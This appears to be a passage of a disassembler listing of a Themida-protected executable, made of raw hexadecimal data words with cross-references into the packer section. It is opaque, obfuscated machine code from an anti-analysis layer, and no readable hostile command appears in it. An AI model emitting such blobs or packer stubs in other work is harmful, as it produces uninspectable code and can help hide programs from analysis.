		dd 0DA858D00h, 500609A8h, 0A8DFB5FFh, 95FF0609h, 6072229h
		dd 30D5858Dh, 8D50060Ah, 0A30F385h, 6A5006h, 858D006Ah
		dd 609A8C3h, 0DFB5FF50h, 0FF0609A8h, 7222995h, 0D5858D06h
		dd 50060A30h, 30E7858Dh, 6A50060Ah, 8D006A00h, 9A8CB85h
		dd 0B5FF5006h, 609A8DFh, 222995FFh, 858D0607h, 60A30D5h
		dd 0EB858D50h, 50060A30h, 6A006Ah, 0A8D2858Dh, 0FF500609h
		dd 9A8DFB5h, 2995FF06h,	0FF060722h, 9A8DFB5h, 6995FF06h
		dd 0E906070Ch, 0A2h, 1329BD83h,	0F000607h, 9584h, 0BDBD8300h
		dd 60719h, 11850Fh, 958B0000h, 60728F1h, 1CF8C281h, 0FE90000h
		dd 8D000000h, 70F2D95h,	34528B06h, 0C340C281h, 95893BD4h
		dd 6070455h, 455BD83h, 0F000607h, 5584h, 559D8B00h, 83060704h
		dd 38B4CC3h, 30DF8589h,	9D8B060Ah, 6070455h, 8B50C383h
		dd 0E3858903h, 8B060A30h, 704559Dh, 54C38306h, 8589038Bh
		dd 60A30EFh, 4559D8Bh, 0C3830607h, 89038B58h, 0A30F385h
		dd 559D8B06h, 83060704h, 38B5CC3h, 30E78589h, 0BD83060Ah
		dd 60732B5h, 0D850F00h,	83000000h, 71329BDh, 840F0006h
		dd 68h,	30F7B5FFh, 0B5FF060Ah, 60A30EBh, 30E7B5FFh, 0B5FF060Ah
		dd 60A30F3h, 30EFB5FFh,	0B5FF060Ah, 60A30E3h, 30DFB5FFh
		dd 858D060Ah, 60A30D9h,	11858D50h, 50060A31h, 23AD858Dh
		dd 0FF500607h, 700A195h, 24C48306h, 858D406Ah, 60A30FBh
		dd 0AD858D50h, 50060723h, 95FF006Ah, 6070581h, 95FF016Ah
		dd 6072BDDh, 18EBC18Bh,	9B46F317h, 5 dup(0)
		dd 20BE9h
		db 0
aLS		db '`▀\$$Х',0           ; DATA XREF: Themida_:0053E1B8o
		dd 5D000000h, 3498ED81h, 0C261060Ah, 0E6E90004h
		db 3 dup(0FFh)
aA_2		db '`aб',8,0            ; DATA XREF: Themida_:0053D050o
		dd 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh, 8C261h
		dd 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 0FFFFFFh, 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 0A34D0B5h,	0E68106h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	0A34D4B5h
		dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 6070455h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 719F995h, 10F5006h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 6070455h
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	455858Bh, 18860607h
		dd 850FDB0Ah, 0FFFFFFF6h, 327585C7h, 607h, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 7327585h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
		dd 29840F04h, 0C7000000h, 0A347585h, 106h, 10F5000h, 8FFE244Ch
		dd 0A347985h, 71858D06h, 8D060A34h, 0A3479BDh, 0E9388906h
		dd 23h,	0F2D858Dh, 408B0607h, 0F3170538h, 85899B46h, 60A3471h
		dd 0F2D858Dh, 408B0607h, 7585893Ch, 8D060A34h, 0A348E85h
		dd 0F9858906h, 0E9060719h, 87h
dword_56FEC0	dd 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh, 7, 6300600h
					; DATA XREF: Themida_:0053C980o
		dd 3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah, 60D48B52h
		dd 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh, 7, 6280630h, 3B46C8D1h
		dd 0F1820FF7h, 61FFFFFFh, 8C25Ah, 56D48B52h, 0DB335351h
		dd 8B08728Bh, 13E90C4Ah, 0AC000000h, 840F2D3Ch,	0Ah, 13349804h
		dd 0C3C1D832h, 0C90B4908h, 0FFE5850Fh, 0C38BFFFFh, 5A5E595Bh
		dd 8D0008C2h, 0A370185h, 0C1858906h, 8D060701h,	0A372985h
		dd 95858906h, 8D060706h, 0A375185h, 59858906h, 6006070Dh
		dd 13880F60h, 0E8000000h, 0Dh, 0E2C35B52h, 1407A4BCh, 0C522B08h
		dd 0F0815A78h, 3F317306h, 6AC08B61h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1189C356h
		dd 80CD1A7Fh, 0BD834EC6h, 6071ACDh, 83097500h, 71135BDh
		dd 19740006h, 0C08B5350h, 40EB8h, 7D858900h, 8D06071Fh
		dd 9ADC09Dh, 5BD3FF06h,	35BD8358h, 60711h, 53501774h, 40EB8h
		dd 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F9363580h, 11E9h
		db 0, 64h, 0ECh
byte_570023	db 93h			; DATA XREF: Themida_:0053CACCo
		dd 64654D2Fh, 83694337h, 0BD4BA613h, 0C08B6E14h, 0BD838CB5h
		dd 6073335h, 30840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0CC01C353h
		dd 7C85418Ah, 0B2196909h, 206E9B3h, 81660000h, 8CDCBED2h
		dd 50006ADFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 399A2AD8h, 0F57F69Ah, 665AF7BFh,	4C7F7h
		dd 1CE850Fh, 0E1B10000h, 0E180FF2Bh, 7D9D8DF1h,	0B9060A3Ah
		dd 2E46714h, 52506093h,	0E8B575BAh, 0BA310F79h,	5A4A8A46h
		dd 820F585Ah, 6, 8E0Fh,	50610000h, 0F3BEA7BEh, 88BE9329h
		dd 6413931Fh, 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 8F3F1BC3h, 0ADA95A22h
		dd 0BFC58014h, 258964h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 5A06C356h
		dd 2D019D95h, 8BA85FCAh, 57006AC4h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0AB8C49FEh, 474EA5F4h
		dd 9E8h, 7D16E500h, 0BB79D298h,	71B967C5h, 59453AECh, 81665060h
		dd 58AF43F6h, 0CD61F98Bh, 0E800EB01h, 14h, 23E97164h, 47B5892Eh
		dd 0A4ACE0A4h, 0BB03D0B7h, 33E1A2D7h, 0CA9FB966h, 0E9E2805Ah
		dd 64D38B66h, 58Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 170424h, 56460000h, 566057C3h, 0E1816629h
		dd 0C483AFEAh, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0C00B3C8Fh, 7A840Fh, 66610000h
		dd 8D31C4B9h, 76FE4BDh,	0C820F06h, 0F000000h, 686h, 38F68100h
		dd 0B87A3D59h, 1, 0C281E7FFh, 164C8C6Eh, 0F5D68060h, 0C7816660h
		dd 7E988CDh, 26000000h,	0CB6A0A6h, 61619A9Ch, 245C8B57h
		dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h
		dd 0B883h, 335F0200h, 0B966C3C0h, 880FA926h, 4,	0ED3FBA66h
		dd 28C0Fh, 0D18B0000h, 0C9BF0F61h, 5E9h, 31D20000h, 0C08BDDA7h
		dd 3573CE81h, 0BD834EEDh, 6071ACDh, 83097500h, 71135BDh
		dd 19740006h, 0C08B5350h, 40EB8h, 81858900h, 8D06072Fh
		dd 9AE279Dh, 5BD3FF06h,	35BD8358h, 60711h, 53501774h, 40EB8h
		dd 81858900h, 8D06072Fh, 9AAC89Dh, 5BD3FF06h, 0A7B96658h
		dd 0C08BF814h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0A3C35343h, 0AB210767h,	51F7B70Fh, 59F3C680h, 11E8C28Bh
		dd 0A4000000h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh, 9DBE44AAh
		dd 5FF0B70Fh, 0EE951h, 51DB0000h, 0B6EAFEC2h, 0AD8486D6h
		dd 8DF397C1h, 94C7815Eh, 0F000060h, 0B8C8B7h, 0E8000000h
		dd 0Bh,	78802DC7h, 0D3233C30h, 661A358Ch, 597254BAh, 8B3834FFh
		dd 81665BF1h, 818D66E9h, 178CC9EBh, 81D08B05h, 76DF2BF3h
		dd 0EB81F811h, 7F39974Dh, 5FC633BEh, 8166531Dh,	8FDD83E2h
		dd 66600704h, 5618D981h, 0FE9h,	855F1D00h, 0E4ECA7CAh
		dd 0F6B0D04Eh, 68EC6B3Bh, 0FE961h, 8F310000h, 0F29C2484h
		dd 0E34FF5A9h, 5B701C03h, 75E88129h, 60627DE7h,	4E5FE781h
		dd 61F81064h, 0E771C081h, 0F881627Dh, 0FFFFA034h, 0FF82850Fh
		dd 0EBFCFFFFh, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0BD858B24h
		dd 8D060719h, 0A87DF85h, 8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 0A3C1E8Dh, 79BD8306h, 6070Bh, 0F840Fh, 6A600000h
		dd 6995FF00h, 6106070Dh, 0FFFFC4E9h, 728966FFh,	10CEC1FCh
		dd 2728966h, 5A04CD52h,	3C1A8589h, 0B58B060Ah, 60A3C1Eh
		dd 6610CEC1h, 8B027289h, 0A3C1EB5h, 72896606h, 858B61FCh
		dd 60A3C1Ah, 71958DC3h,	89060726h, 7045595h, 69958906h
		dd 0FF06070Eh, 70E6985h, 0CD85C606h, 53060709h,	0B148D868h
		dd 9DB5FFFCh, 8D060705h, 7396385h, 89D0FF06h, 70D6985h
		dd 0A8858D06h, 89060A34h, 7089185h, 51E906h, 8B600000h
		dd 3242474h, 7C8B3C76h,	0D68B2824h, 0F8C281h, 8B660000h
		dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch
		dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh,	1C247C89h
		dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh
		dd 9FD3Eh, 0EAE900EBh, 0E9000005h, 5DEh, 0A3E6168h, 402DE906h
		dd 0B068FFFDh, 0E9060A3Fh, 0FFFD4023h, 0A402068h, 4019E906h
		dd 0B268FFFDh, 0E9060A40h, 0FFFD400Fh, 0A41D968h, 4005E906h
		dd 7CADFFFDh, 81AD54E9h, 7CAA51E6h, 76A54CE1h, 6C9F46DBh
		dd 91A944D9h, 7D12A3D6h, 770CA9D6h, 6E039ED0h, 6B0097C7h
		dd 0D142309Eh, 1C4399B5h, 75253305h, 0A3F21687h, 0FF8E6149h
		dd 44A34D3h, 49A3F297h,	0D71851D4h, 595C05C2h, 1DB8296Fh
		dd 4BB749A3h, 4649A31Dh, 49A31DD9h, 0AA3D6D16h,	3A806A03h
		dd 49A31DCCh, 46158609h, 39CBF979h, 0B944B5A3h,	0BC8F49A3h
		dd 0B91F8CD2h, 0B941C9A3h, 9F62A7F9h, 8F7DC1A4h, 0C9A3B71Eh
		dd 54F59669h, 35650EBEh, 0E872B8A2h, 15C7A2A5h,	5C4CE265h
		dd 0A190790Ch, 9CF05CCDh, 0EAD4A7C3h, 4871DF0h,	62FBE68Bh
		dd 1A220C33h, 84B63F71h, 962F62F1h, 20B556EFh, 5AC4779h
		dd 99CCE77h, 7C74FC1Fh,	0F46EF8E6h, 0D6A9C19Bh,	65F5A400h
		dd 96174670h, 407h, 66FB9ACBh, 5FF493BFh, 5AEF8AB8h, 54E984B3h
		dd 52E77AADh, 0B1E49FB7h, 0B7E48B20h, 0B0E2891Eh, 0A9D98015h
		dd 3EAC790Eh, 99B4DF50h, 41132A43h, 0C269FC2Ch,	0A3F288F6h
		dd 9FA9E249h, 50E681B1h, 35DC7BA7h, 42E382AEh, 7AAA5158h
		dd 7DAD34DBh, 8CBC43EAh, 9CCB52F9h, 0A6EF5A01h,	2AE39C98h
		dd 56822B1Ch, 948210B7h, 49A3F223h, 10FA9B6Eh, 0B348DF0Fh
		dd 0AEC021B4h, 0CBFEA719h, 0E27DAB3Ah, 36104F8h, 2C680000h
		dd 0AE497BFCh, 2C9A660Dh, 649A3F2h, 0B1447720h,	2C87710Ah
		dd 7C0434E2h, 0A3F21D8Eh, 85948749h, 1DA1F1FAh,	8C21C295h
		dd 0F26351BFh, 3D49A30Eh, 8C35C36Ah, 0DBDCC65Fh, 0CB790EA9h
		dd 6B55F022h, 0F49B3A6Ah, 0F590BD66h, 0A8CBB54Eh, 76113D23h
		dd 7BA736CFh, 0FB9C35DCh, 1A08B866h, 49A30FA9h,	9D8B21F4h
		dd 49A30F2Ch, 0B9BAA477h, 0C047EE89h, 7965FA93h, 49A30F0Ch
		dd 4D0AC649h, 0D30E8B7Eh, 22BBE8E9h, 644AD27Bh,	4ABBA937h
		dd 9549A36Bh, 0F37A21C2h, 0E78027C6h, 51C2B046h, 9C49A36Bh
		dd 0F9228C9h, 0FBD085AEh, 31392326h, 0A2831943h, 1E0CD447h
		dd 439C62ADh, 0AE8425F8h, 0FA6C7B5Ch, 0B8BE3F6Eh, 7C000002h
		dd 7E25BA4Bh, 771EB352h, 7219AE49h, 6E15AA43h, 7A15AA3Bh
		dd 0E174A762h, 0DD78A54Ch, 0D46FA148h, 0CD68983Fh, 0FFD6B38h
		dd 4399B39Eh, 2C00D2E9h, 3BC269FCh, 3EC56C0Bh, 0F3DF7411h
		dd 49A3F2C6h, 0A402D845h, 56EF1C49h, 0E276E3AFh, 109849A3h
		dd 22D28218h, 0A3E2C334h, 513B0E49h, 0A2E3350Bh, 0A77D5047h
		dd 0FA6CF3ABh, 48DF608Fh, 0C000002h, 0EB54ADBh,	7AE43E2h
		dd 2A93ED9h, 0FEA53AD3h, 0AA53ACBh, 710437F2h, 6D0835DCh
		dd 64FF31D8h, 5DF828CFh, 9F8DFBC8h, 4399B22Eh, 2C906279h
		dd 3BC269FCh, 14C56C0Bh, 3363CD5Bh, 0D500FF94h,	719AEBFh
		dd 1DFh, 0F27AE76Bh, 8CBE49A3h,	8BBD64F9h, 98CA51F8h, 0ECA556FDh
		dd 2FC2F422h, 0C03A9B9Ah, 56A019AEh, 0C8000000h, 6953F21Fh
		dd 8A820A9Dh, 0DCAE71F4h, 0D9035998h, 0DFF9E7EFh, 7A47A291h
		dd 6D8BD1A7h, 406FFA6Ch, 1B6BFh, 0AC497A00h, 0A9447017h
		dd 0A43F6D14h, 0A039680Fh, 0A031640Bh, 9D58700Bh, 9B42D76Ah
		dd 933ACF6Eh, 8A31C661h, 5926BB5Ah, 0B28CFDEBh,	0C0D74399h
		dd 0E89806EEh, 24ADA265h, 0A2D47A5Ah, 3E846E0Fh, 49A30AD5h
		dd 922D5902h, 0FE6F5DEBh, 4949A309h, 0F1EBD576h, 0BEF0771Eh
		dd 0B7E78E23h, 4BD07920h, 3D3ABD53h, 0FF8FA945h, 9B6B73B7h
		dd 904E6032h, 0C6F89FA6h, 0BFEF962Bh, 4AF38128h, 3FD87F1Eh
		dd 8E275455h, 0D0BE2CF9h, 49A3EB5Fh, 0A930D7AAh, 4D3BEB7Bh
		dd 49A3EBDCh, 0F805427h, 5A49A3EBh, 8851E687h, 0D96007FFh
		dd 8F7B10ABh, 49A3EB22h, 0EB8AB65Fh, 7056DE01h,	6902A944h
		dd 0FF8232C8h, 7C6AA2B7h, 49A3E00Bh, 841A8356h,	7CC2ACBCh
		dd 47A2D20Eh, 40F08659h, 0AFDF6897h, 37D07718h,	97204C4Dh
		dd 962BCC6Bh, 412FC3EFh, 439CA2D0h, 0A7481Bh, 5AC4779h
		dd 0DB4517Eh, 27BD5886h, 0A2188977h, 0C863439Ch, 0CA4B74BBh
		dd 7963049Dh, 372FB760h, 825DB3A1h, 0A578419Bh,	654C9FCFh
		dd 0BB3C6BF0h, 8Fh, 0EE832253h,	0E77C1B47h, 0E2771240h
		dd 0DC710C3Bh, 0DA6F0235h, 396C273Fh, 3F6C13A8h, 386A11A6h
		dd 3161089Dh, 0C6340196h, 99B167D8h, 0C99BB243h, 0C269FC2Ch
		dd 0BD588B34h, 92937D16h, 951CC362h, 9D24CB66h,	1CB5E871h
		dd 2069D47Bh, 0A45D1616h, 0E97CAC9Ah, 0C0805554h, 105A19AEh
		dd 0BE000000h, 0A3F279E7h, 0FA8DBD49h, 18C465h,	0E73A0000h
		dd 49A3F27Ah, 0A81907B7h, 0F349A3F2h, 0C35E9120h, 0DA8D8D9h
		dd 0E6C70678h, 2ECh, 2C7D5F00h,	3CC36AFBh, 4BD2790Ch, 50D77E19h
		dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch
		dd 6711B857h, 5585450h,	4, 8704E883h, 515C2404h, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 8952242Ch, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 240C895Ch, 31DCBE56h, 54BD6DDFh, 81641A1Ah
		dd 72531C5h, 5E5C16Ch, 5CBCF581h, 0F5814A16h, 3DD8C347h
		dd 815EF529h, 4ECh, 24248900h, 4240481h, 59000000h, 8418F55h
		dd 592434FFh, 4C481h, 2C8B0000h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0FD3A62E9h, 1BA4E0FFh,	0BFF38944h, 8DB8B525h
		dd 3060A42h, 0EBD18BC5h, 20h, 7	dup(0)
		dd 54EE900h, 42E90000h,	68000005h, 60A44F7h, 0FD3A1AE9h
		dd 457E68FFh, 10E9060Ah, 68FFFD3Ah, 60A4746h, 0FD3A06E9h
		dd 47BA68FFh, 0FCE9060Ah, 0A4FFFD39h, 0A64DE273h, 9F46DB7Ah
		dd 9A41D671h, 963DD26Bh, 0A23DD263h, 99CCF8Ah, 5A0CD74h
		dd 0FC97C970h, 0F590C067h, 37259360h, 4399AFC6h, 3CECFA11h
		dd 99AFDD4Eh, 6B552843h, 63FE2C9Fh, 9EFF4ACDh, 6B6CA387h
		dd 2F9C6881h, 5CC9A31Ch, 0AC29AF79h, 1A99AF98h,	190B7C6Ah
		dd 8356C9A3h, 36A599h, 4ACD0000h, 0BD4AE3BEh, 5B27118Dh
		dd 16BFA225h, 6525A987h, 0D111D1FCh, 0F9E364BBh, 0A3DA45B3h
		dd 0ACD98249h, 7C042711h, 0E500EE84h, 8C479E17h, 188324B9h
		dd 0F9000000h, 0A3F27AE7h, 1C149C49h, 2F7D9886h, 6D16479Eh
		dd 0C0BAA43Fh, 2CE658EDh, 0F0BC63FEh, 400AA338h, 0A59AA4DFh
		dd 0D7FA6F22h, 9120D3F6h, 0DFE0CA65h, 0B88116B1h, 8E986F2Fh
		dd 0B51169FEh, 23907E14h, 60C9A39Fh, 5C222DB0h,	0C2BD9A84h
		dd 0A3BE7DEEh, 0BF5C8C9h, 10973E11h, 714A7DE0h,	0CDF0654Ch
		dd 46CE972Ch, 0D0CAB84Eh, 0DDC7A2A3h, 73CE3F2Dh, 4619C39Ch
		dd 0E88F625Ch, 9C73AF1Ch, 2FF9DCC3h, 0B63B2CA9h, 82AE9Fh
		dd 0A120000h, 4BF48A82h, 4C08BA1Dh, 369CEE80h, 0B5A3AB95h
		dd 479D5225h, 500BDB5Eh, 581616BBh, 74D9746Eh, 0F1FDD6FDh
		dd 8EE55644h, 5D304399h, 0DC851BBCh, 5CFB2BACh,	5C039ECDh
		dd 0E68D22C3h, 8491FB6h, 0F2FA6196h, 2FB42C3h, 4350000h
		dd 935DC71h, 432D96Eh, 0FE2DD469h, 0F427CE63h, 1931CC61h
		dd 59A2B5Eh, 0FF94315Eh, 0F68B2658h, 0F3881F4Fh, 59CAB826h
		dd 0A44399AEh, 0C632BB8Dh, 0A8000002h, 0BC63FE2Ch, 0A3F283F0h
		dd 0F1958249h, 289449A3h, 2349A3F1h, 49A3F1B6h,	0A3F148B5h
		dd 0F1DA4749h, 74FC89A3h, 0F163E67Ch, 0E86A558Eh, 0C4B2BAA4h
		dd 879C44BCh, 0D07920F3h, 0CCBA5048h, 8198B342h, 0F68FBC7Dh
		dd 0ADD87F55h, 73A2307Ah, 274F2h, 0E87DAE00h, 0E580AC53h
		dd 0E07BA950h, 0DC75A44Bh, 0D46DA047h, 0D18CA43Fh, 0C76E039Eh
		dd 0BF66FB9Ah, 0BE65FA8Dh, 9562F78Eh, 0ADC83927h, 0FC134399h
		dd 74FC2C2Ah, 0F265D6C4h, 0DDB049A3h, 0A3F29809h, 6F10E349h
		dd 0BBB73AC8h, 0F00E2BFBh, 6BF31600h, 70EFDD73h, 97479DAFh
		dd 730013FCh, 84B2D56Eh, 8A942E9h, 0A124D267h, 0D2F7E64Fh
		dd 91927CF2h, 8C33C863h, 0E6CCFB5Eh, 452909BAh,	0CC54FDA4h
		dd 0E58E3ED4h, 0F03620B3h, 41941579h, 3C28BD90h, 3D8F95CFh
		dd 0DB7169F1h, 89D27AEDh, 28BE913Bh, 23B84F7Fh,	12B94C7Ch
		dd 12ADDB84h, 5285E228h, 0FF873785h, 3EC17107h,	2CFA2296h
		dd 297BE4DBh, 5EA61D3Bh, 19408670h, 0D0357F9Ch,	8EBE67FDh
		dd 8BBB62F7h, 7DAD56ECh, 9334CDFCh, 506953ECh, 7B1B2784h
		dd 0A9A12931h, 0A03D6A13h, 608A037h, 745E37B2h,	0E6077E6Ch
		dd 5D1E2F75h, 57F0972Ah, 827020B6h, 2B716511h, 979F895Ch
		dd 9227BEEEh, 861CBBEBh, 6577E8D6h, 0EFC22B71h,	0DB5EEC05h
		dd 9CD16B15h, 0F91C0695h, 6A4CB171h, 40B418AEh,	0B059099Fh
		dd 0B4FAE47Dh, 296C2699h, 0FAC66D40h, 2567A68Dh, 8749D7BAh
		dd 3DEB0C4Eh, 0C8Ch, 7AE7F000h,	0C449A405h, 18h, 4E7C253Ah
		dd 1683C9B3h, 5349A408h, 0BFF27DAAh, 45E67F26h,	4F1B059Eh
		dd 0C64D7C25h, 0C25B0293h, 0F7E17A21h, 0BE544CD4h, 9E2F51D0h
		dd 8FC16A47h, 4F100AF4h, 4AE38A1Dh, 0DE64DE1h, 0F09160A9h
		dd 4F38BB49h, 0A323B7FFh, 0B63E614Bh, 0AB3B9ED0h, 5B4A1BF8h
		dd 0E37C23C4h, 6CBEAC42h, 3741983Fh, 11DF8E64h,	7CABF07Ah
		dd 0ACFBh, 20B5E600h, 1DB8E48Bh, 18B3E188h, 14ADDC83h
		dd 0CA5D87Fh, 9C4DC77h,	0FFA63BD6h, 0F79E33D2h,	0F69D32C5h
		dd 0CD9A2FC6h, 0AB00715Fh, 344B4399h, 8A820A62h, 7D184BF4h
		dd 0F288F9E7h, 0D349A3h, 0A1200E16h, 0C8479E2Fh, 1DA54EF5h
		dd 54820737h, 0D87912B9h, 61F79831h, 49F089B8h,	0D0BEC6B0h
		dd 4198AD22h, 68F92CEDh, 0B446F1C7h, 1544F07Ah,	3894h
		dd 0A4417200h, 0A13C680Fh, 9C37650Ch, 98316007h, 98295C03h
		dd 95506803h, 933ACF62h, 8B32C766h, 8229BE59h, 511EB352h
		dd 0AB84F5E3h, 0B8CF4399h, 332E6h, 5EA80000h, 6AFB2C7Ch
		dd 790C3CC3h, 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h
		dd 0A84170F7h, 0B14C7A01h, 0B857830Ah, 89506711h, 4BE56E0h
		dd 1000000h, 0E8835EF0h, 24048704h, 2DB2685Ch, 34890000h
		dd 1DAD6824h, 14890000h, 68B85024h, 0D15DF37Fh,	6E0C1E8h
		dd 0C74B652Dh, 5E132D47h, 0C689709Eh, 8124048Bh, 4C4h
		dd 38C06800h, 24890000h, 24048124h, 4, 4EC835Ah, 8F243489h
		dd 34FF0842h, 0C4815A24h, 4, 5124348Bh,	0C181E189h, 4
		dd 8704C183h, 0E95C240Ch, 0FFFD34EFh, 5264BA92h, 6B79A2FFh
		dd 0BB8B4C7Ah, 4817B81Fh, 0C503060Ah, 0D9E9C88Bh, 20000000h
		dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h
		dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h,	325277CBh
		dd 9CACACh, 0F7F691B8h,	9382CD64h, 38h,	3Ch, 40h, 94h
		dd 5, 1, 0A28h,	2, 20h dup(0)
		dd 692524EAh, 1FC6E9h, 4B8F6800h, 0ECE9060Ah, 68FFFD33h
		dd 60A4C8Ch, 0FD33E2E9h, 4D8068FFh, 0D8E9060Ah,	68FFFD33h
		dd 60A4E58h, 0FD33CEE9h, 4EF268FFh, 0C4E9060Ah,	68FFFD33h
		dd 60A4FABh, 0FD33BAE9h, 506768FFh, 0B0E9060Ah,	68FFFD33h
		dd 60A513Fh, 0FD33A6E9h, 556D68FFh, 9CE9060Ah, 68FFFD33h
		dd 60A55E5h, 0FD3392E9h, 571E68FFh, 88E9060Ah, 68FFFD33h
		dd 60A5A00h, 0FD337EE9h, 5D8068FFh, 74E9060Ah, 68FFFD33h
		dd 60A60DEh, 0FD336AE9h, 626668FFh, 60E9060Ah, 68FFFD33h
		dd 60A62D1h, 0FD3356E9h, 633168FFh, 4CE9060Ah, 68FFFD33h
		dd 60A638Dh, 0FD3342E9h, 646868FFh, 38E9060Ah, 68FFFD33h
		dd 60A65D0h, 0FD332EE9h, 66AD68FFh, 24E9060Ah, 0CCFFFD33h
		dd 0CE750A9Bh, 0C76E03A2h, 0C269FE99h, 0BE65FA93h, 0CA65FA8Bh
		dd 31C4F7B2h, 2DC8F59Ch, 24BFF198h, 1DB8E88Fh, 5F4DBB88h
		dd 4399A7EEh, 91142239h, 4988D2DEh, 531F0943h, 0D369FC2Ch
		dd 0CCBA2C50h, 67D0F768h, 0BBB39113h, 0E0F9E38Ah, 0F98E2959h
		dd 1AB0A830h, 0A224822Ch, 0C36A3D47h, 9BF48AF7h, 4AD4B743h
		dd 68F92CD5h, 0E53E28C1h, 1FB6B9F0h, 37EAh, 820A4E00h
		dd 2CD36E9Ch, 6E5CF293h, 47A300ECh, 0D19D4417h,	439CE064h
		dd 0AF60AE91h, 513BDA06h, 0B5D1DDF8h, 0C9FF1Fh,	77270000h
		dd 2F03A2CEh, 439CD4BEh, 804C3609h, 0C269FC2Ch,	757FB134h
		dd 444ACAE7h, 8B26595Ah, 9A2D5DE4h, 0A93C6CF3h,	0B4FC2814h
		dd 8CBC49A3h, 457AE531h, 0C2632F2Bh, 215CA92Ch,	0F3594BEEh
		dd 0B49E3764h, 3FD606ADh, 8167EF98h, 7811B853h,	7F20BBE9h
		dd 30C1FBE9h, 895C47A2h, 0ABA32BF4h, 637A2715h,	72454194h
		dd 650033DCh, 700737BEh, 6D4E66CFh, 713B9D02h, 0A3D67F87h
		dd 26CF7D12h, 71725CF9h, 0BACDA33Eh, 58F07AFDh,	1CE5A829h
		dd 6C9D0000h, 719D44D9h, 6C9A41D6h, 66953CD1h, 5C8F36CBh
		dd 819934C9h, 6D0293C6h, 67FC99C6h, 5EF38EC0h, 5BF087B7h
		dd 0C132208Eh, 0C4399A7h, 0F92C23F5h, 0FC2CD368h, 2562D469h
		dd 0FDDD59A2h, 0A1D3F999h, 25C65F06h, 2BD26396h, 0FD85A892h
		dd 3CBF6F05h, 0ECA07140h, 0B09E34F7h, 49A3A93Fh, 87CDB78Ah
		dd 47A2B805h, 0EAB65D30h, 439C977Dh, 7779C7AAh,	1FB61B5Eh
		dd 0F27Ch, 0FC2CE000h, 0FC2AD369h, 0FDA44373h, 834C364h
		dd 432DC66Dh, 0D570A32Ah, 0C7F7A02Eh, 6F08930h,	0A3EE94C0h
		dd 91245449h, 9D2555FCh, 0A3EE3EAFh, 15B68949h,	453DC56Eh
		dd 0FF87C1AFh, 4F2247A2h, 7169F1BAh, 33E5EDDBh,	650E4195h
		dd 6BF9A033h, 93230C7Dh, 0E384573Dh, 43B6637Ah,	0A38DEE41h
		dd 9740D6A9h, 953CD164h, 24B4E162h, 93DBC536h, 9C3D103Dh
